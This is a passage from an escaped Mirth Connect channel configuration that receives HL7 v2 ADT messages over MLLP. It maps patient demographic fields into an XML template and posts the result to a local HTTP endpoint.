\u0026lt;/entry\u0026gt;\\n \u0026lt;/resourceIds\u0026gt;\\n \u0026lt;queueBufferSize\u0026gt;1000\u0026lt;/queueBufferSize\u0026gt;\\n \u0026lt;/sourceConnectorProperties\u0026gt;\\n \u0026lt;transmissionModeProperties class=\u0026#34;com.mirth.connect.plugins.mllpmode.MLLPModeProperties\u0026#34;\u0026gt;\\n \u0026lt;pluginPointName\u0026gt;MLLP\u0026lt;/pluginPointName\u0026gt;\\n \u0026lt;startOfMessageBytes\u0026gt;0B\u0026lt;/startOfMessageBytes\u0026gt;\\n \u0026lt;endOfMessageBytes\u0026gt;1C0D\u0026lt;/endOfMessageBytes\u0026gt;\\n \u0026lt;useMLLPv2\u0026gt;false\u0026lt;/useMLLPv2\u0026gt;\\n \u0026lt;ackBytes\u0026gt;06\u0026lt;/ackBytes\u0026gt;\\n \u0026lt;nackBytes\u0026gt;15\u0026lt;/nackBytes\u0026gt;\\n \u0026lt;maxRetries\u0026gt;2\u0026lt;/maxRetries\u0026gt;\\n \u0026lt;/transmissionModeProperties\u0026gt;\\n \u0026lt;serverMode\u0026gt;true\u0026lt;/serverMode\u0026gt;\\n \u0026lt;remoteAddress\u0026gt;\u0026lt;/remoteAddress\u0026gt;\\n \u0026lt;remotePort\u0026gt;\u0026lt;/remotePort\u0026gt;\\n \u0026lt;overrideLocalBinding\u0026gt;false\u0026lt;/overrideLocalBinding\u0026gt;\\n \u0026lt;reconnectInterval\u0026gt;5000\u0026lt;/reconnectInterval\u0026gt;\\n \u0026lt;receiveTimeout\u0026gt;0\u0026lt;/receiveTimeout\u0026gt;\\n \u0026lt;bufferSize\u0026gt;65536\u0026lt;/bufferSize\u0026gt;\\n \u0026lt;maxConnections\u0026gt;10\u0026lt;/maxConnections\u0026gt;\\n \u0026lt;keepConnectionOpen\u0026gt;false\u0026lt;/keepConnectionOpen\u0026gt;\\n \u0026lt;dataTypeBinary\u0026gt;false\u0026lt;/dataTypeBinary\u0026gt;\\n \u0026lt;charsetEncoding\u0026gt;DEFAULT_ENCODING\u0026lt;/charsetEncoding\u0026gt;\\n \u0026lt;respondOnNewConnection\u0026gt;0\u0026lt;/respondOnNewConnection\u0026gt;\\n \u0026lt;responseAddress\u0026gt;\u0026lt;/responseAddress\u0026gt;\\n \u0026lt;responsePort\u0026gt;\u0026lt;/responsePort\u0026gt;\\n \u0026lt;/properties\u0026gt;\\n \u0026lt;transformer version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;elements\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;TIMESTAMP\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;0\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;timestamp\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;MSH\u0026amp;apos;][\u0026amp;apos;MSH.7\u0026amp;apos;][\u0026amp;apos;MSH.7.1\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;SENDER_APP\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;1\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;sender_app\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;MSH\u0026amp;apos;][\u0026amp;apos;MSH.3\u0026amp;apos;][\u0026amp;apos;MSH.3.1\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;ID\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;2\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;id\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;PID\u0026amp;apos;][\u0026amp;apos;PID.3\u0026amp;apos;][\u0026amp;apos;PID.3.1\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;FIRSTNAME\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;3\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;firstname\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;PID\u0026amp;apos;][\u0026amp;apos;PID.5\u0026amp;apos;][\u0026amp;apos;PID.5.2\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;LASTNAME\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;4\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;lastname\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;PID\u0026amp;apos;][\u0026amp;apos;PID.5\u0026amp;apos;][\u0026amp;apos;PID.5.1\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;BIRTH_DATE\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;5\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;birth_date\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;date_conversion(msg[\u0026amp;apos;PID\u0026amp;apos;][\u0026amp;apos;PID.7\u0026amp;apos;][\u0026amp;apos;PID.7.1\u0026amp;apos;].toString())\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;name\u0026gt;GENDER\u0026lt;/name\u0026gt;\\n \u0026lt;sequenceNumber\u0026gt;6\u0026lt;/sequenceNumber\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;messageSegment\u0026gt;tmp[\u0026amp;apos;gender\u0026amp;apos;]\u0026lt;/messageSegment\u0026gt;\\n \u0026lt;mapping\u0026gt;msg[\u0026amp;apos;PID\u0026amp;apos;][\u0026amp;apos;PID.8\u0026amp;apos;][\u0026amp;apos;PID.8.1\u0026amp;apos;].toString()\u0026lt;/mapping\u0026gt;\\n \u0026lt;defaultValue\u0026gt;\u0026lt;/defaultValue\u0026gt;\\n \u0026lt;replacements/\u0026gt;\\n \u0026lt;/com.mirth.connect.plugins.messagebuilder.MessageBuilderStep\u0026gt;\\n \u0026lt;/elements\u0026gt;\\n \u0026lt;inboundTemplate encoding=\u0026#34;base64\u0026#34;\u0026gt;TVNIfF5+XFwmfFdFQkFQUHxJTlRFUlBSRVRFUnxNSVJUSHxJTlRFUlBSRVRFUnxUSU1FU1RBTVB8fEFEVF5BMDF8fFB8Mi41ClBJRHwxfHxQQVRJRU5USUReXl5JTlRFUlBSRVRFUnx8TEFTVE5BTUVeRklSU1ROQU1FfHxEQVRFT0ZCSVJUSHxHRU5ERVI=\u0026lt;/inboundTemplate\u0026gt;\\n \u0026lt;outboundTemplate encoding=\u0026#34;base64\u0026#34;\u0026gt;PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==\u0026lt;/outboundTemplate\u0026gt;\\n \u0026lt;inboundDataType\u0026gt;HL7V2\u0026lt;/inboundDataType\u0026gt;\\n \u0026lt;outboundDataType\u0026gt;XML\u0026lt;/outboundDataType\u0026gt;\\n \u0026lt;inboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2DataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2SerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;handleRepetitions\u0026gt;true\u0026lt;/handleRepetitions\u0026gt;\\n \u0026lt;handleSubcomponents\u0026gt;true\u0026lt;/handleSubcomponents\u0026gt;\\n \u0026lt;useStrictParser\u0026gt;false\u0026lt;/useStrictParser\u0026gt;\\n \u0026lt;useStrictValidation\u0026gt;false\u0026lt;/useStrictValidation\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;segmentDelimiter\u0026gt;\\\\r\u0026lt;/segmentDelimiter\u0026gt;\\n \u0026lt;convertLineBreaks\u0026gt;true\u0026lt;/convertLineBreaks\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;deserializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2DeserializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;useStrictParser\u0026gt;false\u0026lt;/useStrictParser\u0026gt;\\n \u0026lt;useStrictValidation\u0026gt;false\u0026lt;/useStrictValidation\u0026gt;\\n \u0026lt;segmentDelimiter\u0026gt;\\\\r\u0026lt;/segmentDelimiter\u0026gt;\\n \u0026lt;/deserializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2BatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;MSH_Segment\u0026lt;/splitType\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;responseGenerationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2ResponseGenerationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;segmentDelimiter\u0026gt;\\\\r\u0026lt;/segmentDelimiter\u0026gt;\\n \u0026lt;successfulACKCode\u0026gt;AA\u0026lt;/successfulACKCode\u0026gt;\\n \u0026lt;successfulACKMessage\u0026gt;\u0026lt;/successfulACKMessage\u0026gt;\\n \u0026lt;errorACKCode\u0026gt;AE\u0026lt;/errorACKCode\u0026gt;\\n \u0026lt;errorACKMessage\u0026gt;An Error Occurred Processing Message.\u0026lt;/errorACKMessage\u0026gt;\\n \u0026lt;rejectedACKCode\u0026gt;AR\u0026lt;/rejectedACKCode\u0026gt;\\n \u0026lt;rejectedACKMessage\u0026gt;Message Rejected.\u0026lt;/rejectedACKMessage\u0026gt;\\n \u0026lt;msh15ACKAccept\u0026gt;false\u0026lt;/msh15ACKAccept\u0026gt;\\n \u0026lt;dateFormat\u0026gt;yyyyMMddHHmmss.SSS\u0026lt;/dateFormat\u0026gt;\\n \u0026lt;/responseGenerationProperties\u0026gt;\\n \u0026lt;responseValidationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.hl7v2.HL7v2ResponseValidationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;successfulACKCode\u0026gt;AA,CA\u0026lt;/successfulACKCode\u0026gt;\\n \u0026lt;errorACKCode\u0026gt;AE,CE\u0026lt;/errorACKCode\u0026gt;\\n \u0026lt;rejectedACKCode\u0026gt;AR,CR\u0026lt;/rejectedACKCode\u0026gt;\\n \u0026lt;validateMessageControlId\u0026gt;true\u0026lt;/validateMessageControlId\u0026gt;\\n \u0026lt;originalMessageControlId\u0026gt;Destination_Encoded\u0026lt;/originalMessageControlId\u0026gt;\\n \u0026lt;originalIdMapVariable\u0026gt;\u0026lt;/originalIdMapVariable\u0026gt;\\n \u0026lt;/responseValidationProperties\u0026gt;\\n \u0026lt;/inboundProperties\u0026gt;\\n \u0026lt;outboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;Element_Name\u0026lt;/splitType\u0026gt;\\n \u0026lt;elementName\u0026gt;\u0026lt;/elementName\u0026gt;\\n \u0026lt;level\u0026gt;1\u0026lt;/level\u0026gt;\\n \u0026lt;query\u0026gt;\u0026lt;/query\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;/outboundProperties\u0026gt;\\n \u0026lt;/transformer\u0026gt;\\n \u0026lt;filter version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;elements/\u0026gt;\\n \u0026lt;/filter\u0026gt;\\n \u0026lt;transportName\u0026gt;TCP Listener\u0026lt;/transportName\u0026gt;\\n \u0026lt;mode\u0026gt;SOURCE\u0026lt;/mode\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;waitForPrevious\u0026gt;true\u0026lt;/waitForPrevious\u0026gt;\\n \u0026lt;/sourceConnector\u0026gt;\\n \u0026lt;destinationConnectors\u0026gt;\\n \u0026lt;connector version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;metaDataId\u0026gt;1\u0026lt;/metaDataId\u0026gt;\\n \u0026lt;name\u0026gt;Destination 1\u0026lt;/name\u0026gt;\\n \u0026lt;properties class=\u0026#34;com.mirth.connect.connectors.http.HttpDispatcherProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;pluginProperties/\u0026gt;\\n \u0026lt;destinationConnectorProperties version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;queueEnabled\u0026gt;false\u0026lt;/queueEnabled\u0026gt;\\n \u0026lt;sendFirst\u0026gt;false\u0026lt;/sendFirst\u0026gt;\\n \u0026lt;retryIntervalMillis\u0026gt;10000\u0026lt;/retryIntervalMillis\u0026gt;\\n \u0026lt;regenerateTemplate\u0026gt;false\u0026lt;/regenerateTemplate\u0026gt;\\n \u0026lt;retryCount\u0026gt;0\u0026lt;/retryCount\u0026gt;\\n \u0026lt;rotate\u0026gt;false\u0026lt;/rotate\u0026gt;\\n \u0026lt;includeFilterTransformer\u0026gt;false\u0026lt;/includeFilterTransformer\u0026gt;\\n \u0026lt;threadCount\u0026gt;1\u0026lt;/threadCount\u0026gt;\\n \u0026lt;threadAssignmentVariable\u0026gt;\u0026lt;/threadAssignmentVariable\u0026gt;\\n \u0026lt;validateResponse\u0026gt;false\u0026lt;/validateResponse\u0026gt;\\n \u0026lt;resourceIds class=\u0026#34;linked-hash-map\u0026#34;\u0026gt;\\n \u0026lt;entry\u0026gt;\\n \u0026lt;string\u0026gt;Default Resource\u0026lt;/string\u0026gt;\\n \u0026lt;string\u0026gt;[Default Resource]\u0026lt;/string\u0026gt;\\n \u0026lt;/entry\u0026gt;\\n \u0026lt;/resourceIds\u0026gt;\\n \u0026lt;queueBufferSize\u0026gt;1000\u0026lt;/queueBufferSize\u0026gt;\\n \u0026lt;reattachAttachments\u0026gt;true\u0026lt;/reattachAttachments\u0026gt;\\n \u0026lt;/destinationConnectorProperties\u0026gt;\\n \u0026lt;host\u0026gt;http://127.0.0.1:54321/addPatient\u0026lt;/host\u0026gt;\\n \u0026lt;useProxyServer\u0026gt;false\u0026lt;/useProxyServer\u0026gt;\\n \u0026lt;proxyAddress\u0026gt;\u0026lt;/proxyAddress\u0026gt;\\n \u0026lt;proxyPort\u0026gt;\u0026lt;/proxyPort\u0026gt;\\n \u0026lt;method\u0026gt;post\u0026lt;/method\u0026gt;\\n \u0026lt;headers class=\u0026#34;linked-hash-map\u0026#34;/\u0026gt;\\n \u0026lt;parameters class=\u0026#34;linked-hash-map\u0026#34;/\u0026gt;\\n \u0026lt;useHeadersVariable\u0026gt;false\u0026lt;/useHeadersVariable\u0026gt;\\n \u0026lt;headersVariable\u0026gt;\u0026lt;/headersVariable\u0026gt;\\n \u0026lt;useParametersVariable\u0026gt;false\u0026lt;/useParametersVariable\u0026gt;\\n \u0026lt;parametersVariable\u0026gt;\u0026lt;/parametersVariable\u0026gt;\\n \u0026lt;responseXmlBody\u0026gt;false\u0026lt;/responseXmlBody\u0026gt;\\n \u0026lt;responseParseMultipart\u0026gt;true\u0026lt;/responseParseMultipart\u0026gt;\\n \u0026lt;responseIncludeMetadata\u0026gt;false\u0026lt;/responseIncludeMetadata\u0026gt;\\n \u0026lt;responseBinaryMimeTypes\u0026gt;application/.*(?\u0026amp;lt;!json|xml)$|image/.*|video/.*|audio/.*\u0026lt;/responseBinaryMimeTypes\u0026gt;\\n \u0026lt;responseBinaryMimeTypesRegex\u0026gt;true\u0026lt;/responseBinaryMimeTypesRegex\u0026gt;\\n \u0026lt;multipart\u0026gt;false\u0026lt;/multipart\u0026gt;\\n \u0026lt;useAuthentication\u0026gt;false\u0026lt;/useAuthentication\u0026gt;\\n \u0026lt;authenticationType\u0026gt;Basic\u0026lt;/authenticationType\u0026gt;\\n \u0026lt;usePreemptiveAuthentication\u0026gt;false\u0026lt;/usePreemptiveAuthentication\u0026gt;\\n \u0026lt;username\u0026gt;\u0026lt;/username\u0026gt;\\n \u0026lt;password\u0026gt;\u0026lt;/password\u0026gt;\\n \u0026lt;content\u0026gt;${message.encodedData}\u0026lt;/content\u0026gt;\\n \u0026lt;contentType\u0026gt;text/plain\u0026lt;/contentType\u0026gt;\\n \u0026lt;dataTypeBinary\u0026gt;false\u0026lt;/dataTypeBinary\u0026gt;\\n \u0026lt;charset\u0026gt;UTF-8\u0026lt;/charset\u0026gt;\\n \u0026lt;socketTimeout\u0026gt;30000\u0026lt;/socketTimeout\u0026gt;\\n \u0026lt;/properties\u0026gt;\\n \u0026lt;transformer version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;elements/\u0026gt;\\n \u0026lt;inboundTemplate encoding=\u0026#34;base64\u0026#34;\u0026gt;\u0026lt;/inboundTemplate\u0026gt;\\n \u0026lt;outboundTemplate encoding=\u0026#34;base64\u0026#34;\u0026gt;\u0026lt;/outboundTemplate\u0026gt;\\n \u0026lt;inboundDataType\u0026gt;XML\u0026lt;/inboundDataType\u0026gt;\\n \u0026lt;outboundDataType\u0026gt;XML\u0026lt;/outboundDataType\u0026gt;\\n \u0026lt;inboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;Element_Name\u0026lt;/splitType\u0026gt;\\n \u0026lt;elementName\u0026gt;\u0026lt;/elementName\u0026gt;\\n \u0026lt;level\u0026gt;1\u0026lt;/level\u0026gt;\\n \u0026lt;query\u0026gt;\u0026lt;/query\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;/inboundProperties\u0026gt;\\n \u0026lt;outboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;Element_Name\u0026lt;/splitType\u0026gt;\\n \u0026lt;elementName\u0026gt;\u0026lt;/elementName\u0026gt;\\n \u0026lt;level\u0026gt;1\u0026lt;/level\u0026gt;\\n \u0026lt;query\u0026gt;\u0026lt;/query\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;/outboundProperties\u0026gt;\\n \u0026lt;/transformer\u0026gt;\\n \u0026lt;responseTransformer version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;elements/\u0026gt;\\n \u0026lt;inboundDataType\u0026gt;XML\u0026lt;/inboundDataType\u0026gt;\\n \u0026lt;outboundDataType\u0026gt;XML\u0026lt;/outboundDataType\u0026gt;\\n \u0026lt;inboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;Element_Name\u0026lt;/splitType\u0026gt;\\n \u0026lt;elementName\u0026gt;\u0026lt;/elementName\u0026gt;\\n \u0026lt;level\u0026gt;1\u0026lt;/level\u0026gt;\\n \u0026lt;query\u0026gt;\u0026lt;/query\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;/inboundProperties\u0026gt;\\n \u0026lt;outboundProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;serializationProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;stripNamespaces\u0026gt;false\u0026lt;/stripNamespaces\u0026gt;\\n \u0026lt;/serializationProperties\u0026gt;\\n \u0026lt;batchProperties class=\u0026#34;com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;splitType\u0026gt;Element_Name\u0026lt;/splitType\u0026gt;\\n \u0026lt;elementName\u0026gt;\u0026lt;/elementName\u0026gt;\\n \u0026lt;level\u0026gt;1\u0026lt;/level\u0026gt;\\n \u0026lt;query\u0026gt;\u0026lt;/query\u0026gt;\\n \u0026lt;batchScript\u0026gt;\u0026lt;/batchScript\u0026gt;\\n \u0026lt;/batchProperties\u0026gt;\\n \u0026lt;/outboundProperties\u0026gt;\\n \u0026lt;/responseTransformer\u0026gt;\\n \u0026lt;filter version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;elements/\u0026gt;\\n \u0026lt;/filter\u0026gt;\\n \u0026lt;transportName\u0026gt;HTTP Sender\u0026lt;/transportName\u0026gt;\\n \u0026lt;mode\u0026gt;DESTINATION\u0026lt;/mode\u0026gt;\\n \u0026lt;enabled\u0026gt;true\u0026lt;/enabled\u0026gt;\\n \u0026lt;waitForPrevious\u0026gt;true\u0026lt;/waitForPrevious\u0026gt;\\n \u0026lt;/connector\u0026gt;\\n \u0026lt;/destinationConnectors\u0026gt;\\n \u0026lt;preprocessingScript\u0026gt;// Modify the message variable below to pre process data\\nreturn message;\u0026lt;/preprocessingScript\u0026gt;\\n \u0026lt;postprocessingScript\u0026gt;// This script executes once after a message has been processed\\n// Responses returned from here will be stored as \u0026amp;quot;Postprocessor\u0026amp;quot; in the response map\\nreturn;\u0026lt;/postprocessingScript\u0026gt;\\n \u0026lt;deployScript\u0026gt;// This script executes once when the channel is deployed\\n// You only have access to the globalMap and globalChannelMap here to persist data\\nreturn;\u0026lt;/deployScript\u0026gt;\\n \u0026lt;undeployScript\u0026gt;// This script executes once when the channel is undeployed\\n// You only have access to the globalMap and globalChannelMap here to persist data\\nreturn;\u0026lt;/undeployScript\u0026gt;\\n \u0026lt;properties version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;clearGlobalChannelMap\u0026gt;true\u0026lt;/clearGlobalChannelMap\u0026gt;\\n \u0026lt;messageStorageMode\u0026gt;DISABLED\u0026lt;/messageStorageMode\u0026gt;\\n \u0026lt;encryptData\u0026gt;false\u0026lt;/encryptData\u0026gt;\\n \u0026lt;encryptAttachments\u0026gt;false\u0026lt;/encryptAttachments\u0026gt;\\n \u0026lt;encryptCustomMetaData\u0026gt;false\u0026lt;/encryptCustomMetaData\u0026gt;\\n \u0026lt;removeContentOnCompletion\u0026gt;false\u0026lt;/removeContentOnCompletion\u0026gt;\\n \u0026lt;removeOnlyFilteredOnCompletion\u0026gt;false\u0026lt;/removeOnlyFilteredOnCompletion\u0026gt;\\n \u0026lt;removeAttachmentsOnCompletion\u0026gt;false\u0026lt;/removeAttachmentsOnCompletion\u0026gt;\\n \u0026lt;initialState\u0026gt;STARTED\u0026lt;/initialState\u0026gt;\\n \u0026lt;storeAttachments\u0026gt;false\u0026lt;/storeAttachments\u0026gt;\\n \u0026lt;metaDataColumns\u0026gt;\\n \u0026lt;metaDataColumn\u0026gt;\\n \u0026lt;name\u0026gt;SOURCE\u0026lt;/name\u0026gt;\\n \u0026lt;type\u0026gt;STRING\u0026lt;/type\u0026gt;\\n \u0026lt;mappingName\u0026gt;mirth_source\u0026lt;/mappingName\u0026gt;\\n \u0026lt;/metaDataColumn\u0026gt;\\n \u0026lt;metaDataColumn\u0026gt;\\n \u0026lt;name\u0026gt;TYPE\u0026lt;/name\u0026gt;\\n 